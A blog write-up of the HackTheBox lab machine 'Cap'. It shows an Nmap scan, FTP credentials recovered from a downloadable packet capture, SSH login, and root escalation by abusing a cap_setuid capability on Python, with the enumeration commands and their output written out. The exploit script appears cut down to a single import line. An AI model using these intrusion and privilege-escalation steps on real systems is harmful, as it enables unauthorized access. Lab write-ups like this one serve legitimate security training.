HackTheBox – Cap Write-up

Dear readers

Today’s post is on Cap, an easy GNU/Linux machine on HackTheBox. It was created on 6th June 2021. It is a fairly easy machine to get user access to the server but quite hard to escalate privilege (PE) as the method to do it is very uncommon. This challenge is on understanding the web file directory and knowing how to use Wireshark to access the server at the user level as well as finding file capabilities in the system for PE. Let’s get started!

Tools required


The first step I did was to conduct a port scan to see what ports are open and services are available with the use of Nmap.

└─$ nmap -Pn -n -sV -v -p1-1000
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-30 12:30 +08
NSE: Loaded 45 scripts for scanning.
Initiating Connect Scan at 12:30
Scanning [1000 ports]
Discovered open port 21/tcp on
Discovered open port 80/tcp on
Discovered open port 22/tcp on
Completed Connect Scan at 12:30, 10.34s elapsed (1000 total ports)
Initiating Service scan at 12:30
Scanning 3 services on
Completed Service scan at 12:32, 116.77s elapsed (3 services on 1 host)
NSE: Script scanning
Initiating NSE at 12:32
Completed NSE at 12:32, 15.02s elapsed
Initiating NSE at 12:32
Completed NSE at 12:32, 1.16s elapsed
Nmap scan report for
Host is up (0.15s latency).
Not shown: 997 filtered ports
21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    gunicorn
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 144.40 seconds

Based on the Nmap result shown above, we can access the server using FTP or SSH. But firstly, let’s check out the website by going to

Outlook of the website

Fig 4a. Main page of the website
Fig 4b. Accessing the Security Snapshot page

Based on Fig 4b, we can see that some .pcap files can be downloaded. If we try to navigate to the 0th data by modifying the URL, we will get another .pcap file that has more data. The number of data/<number> will keep increase if more people access it. Therefore, we should look at the originally captured data at data/0 by downloading the file.

Fig 4c. When changing the URL and accessing the 0th data

We can then continue to look at the other pages but there is no useful information.

Fig 4d. If config page
Fig 4e. Network status page

Wireshark analysis of PCAP file

Based on the PCAP file I obtained in Fig 4c, I opened it with Wireshark to analyze it. While looking through, I noticed credentials packets are leaked when FTP request for authentication. As we know that FTP sends data over plain text, it is easy for us to see the username and password. The username and password are definitely correct as of the packets after inputting of password show that the authentication is successful (see the highlighted part in Fig 5 for username, password, and successful authentication packets).

Fig 5. Credentials leaked when captured by packet sniffer and stored in 0.pcap

We can see that the username and passwords are:

Username: nathan
Password: Buck3tH4TF0RM3!

Trying credentials via FTP

Since we have the username and password, I tried to access the server via FTP. Below shows the commands and results where we were able to successfully login using that leaked credential.

└─$ ftp 21
Connected to
220 (vsFTPd 3.0.3)
Name ( nathan
331 Please specify the password.
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> pass
Passive mode on.
ftp> ls
227 Entering Passive Mode (10,10,10,245,238,57)
150 Here comes the directory listing.
-r--------    1 1001     1001           33 Jun 30 04:28 user.txt
226 Directory send OK.

We can immediately see user.txt that contains the user flag.

Trying credentials via SSH and obtaining user flag

Using the same credentials as Nathan, I decided to try to login via SSH so that we can have a proper shell.

└─$ ssh nathan@
nathan@'s password: 
Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-73-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Wed Jun 30 05:10:41 UTC 2021

  System load:           0.06
  Usage of /:            35.0% of 8.73GB
  Memory usage:          21%
  Swap usage:            0%
  Processes:             225
  Users logged in:       1
  IPv4 address for eth0:
  IPv6 address for eth0: dead:beef::250:56ff:feb9:1191

  => There are 2 zombie processes.

 * Super-optimized for small spaces - read how we shrank the memory
   footprint of MicroK8s to make it the smallest full K8s around.


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings

Last login: Wed Jun 30 05:08:52 2021 from

The results above show that we are able to successfully login using the same credentials.

We can then obtain the user flag as shown below.

nathan@cap:~$ ls
nathan@cap:~$ cat user.txt 

Privilege escalate and obtaining root flag

We can 1st start with sudo -l command to see what sudo/system ability does Nathan has. However, Nathan’s account is not in the sudoer.

nathan@cap:~$ sudo -l
[sudo] password for nathan: 
Sorry, user nathan may not run sudo on cap.

Therefore, we have to try other ways to privilege escalate (PE). I 1st tried to find any SUID or GUID program in the system.

find / -type f \( -perm -4000 -o -perm -2000 \) -exec ls -l {} \;

There was an interesting file that appeared which is pkexec. I tried to follow the method by hacktricks.xyz here but it doesn’t work as I was still prompted to input the root’s password.

I decided to try out LinPEAS‘s shell script by running it on the server and an interesting result came out. Python3.8 on the server is able to setuid to 0 which is root. Below shows a snippet of the long LinPEAS’s output where it is important to us. I have changed the font of what we are interested in into Cyan so that it can be easily seen by you all.

╔══════════╣ Capabilities
╚ https://book.hacktricks.xyz/linux-unix/privilege-escalation#capabilities
Current capabilities:                                                                                                                                                                                                                        
Current: =
CapInh: 0000000000000000
CapPrm: 0000000000000000
CapEff: 0000000000000000
CapBnd: 0000003fffffffff
CapAmb: 0000000000000000

Shell capabilities:
CapInh: 0000000000000000
CapPrm: 0000000000000000
CapEff: 0000000000000000
CapBnd: 0000003fffffffff
CapAmb: 0000000000000000

Files with capabilities (limited to 50):
/usr/bin/python3.8 = cap_setuid,cap_net_bind_service+eip
/usr/bin/ping = cap_net_raw+ep
/usr/bin/traceroute6.iputils = cap_net_raw+ep
/usr/bin/mtr-packet = cap_net_raw+ep
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep

The same result regarding file capabilities to access in root/system level can be obtained using getcap tool.

nathan@cap:~$ getcap -r / 2>/dev/null
/usr/bin/python3.8 = cap_setuid,cap_net_bind_service+eip
/usr/bin/ping = cap_net_raw+ep
/usr/bin/traceroute6.iputils = cap_net_raw+ep
/usr/bin/mtr-packet = cap_net_raw+ep
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep

You can refer to this article on cap_setuid in Python by gtfobin here. Alternatively, you can just use the python code shown below by creating a Python file and running the exploit. I called the file exploit.py.

import os


A root shell will appear and you will be able to obtain the root flag.

nathan@cap:~$ python3 exploit.py 
# ls /root
root.txt  snap
# cat /root/root.txt

I hope this post has been helpful to you. Feel free to leave any comments below. You may also send me some tips if you like my work and want to see more of such content. Funds will mostly be used for my boba milk tea addiction. The link is here. 🙂

Leave a Reply

Please log in using one of these methods to post your comment:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s

This site uses Akismet to reduce spam. Learn how your comment data is processed.